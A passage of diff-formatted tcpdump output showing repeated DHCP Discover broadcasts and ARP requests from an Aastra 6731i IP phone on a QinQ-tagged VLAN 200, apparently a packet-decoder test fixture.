+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51551, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a015, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51558, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a015, secs 10, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51574, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x9696a015, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51605, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a015, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51608, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a015, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51616, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a015, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51632, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x9696a015, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51664, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f99, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51675, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f99, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51683, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f99, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51699, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f99, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51731, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f99, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51734, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f99, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51742, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f99, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51757, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f99, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51788, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f1d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (6f:6e:02:63:61:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51802, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f1d, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51809, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f1d, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51824, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969f1d, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51855, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f1d, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51859, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f1d, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51867, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f1d, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51883, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969f1d, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51915, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e9e, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51925, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e9e, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51932, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e9e, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51947, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e9e, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
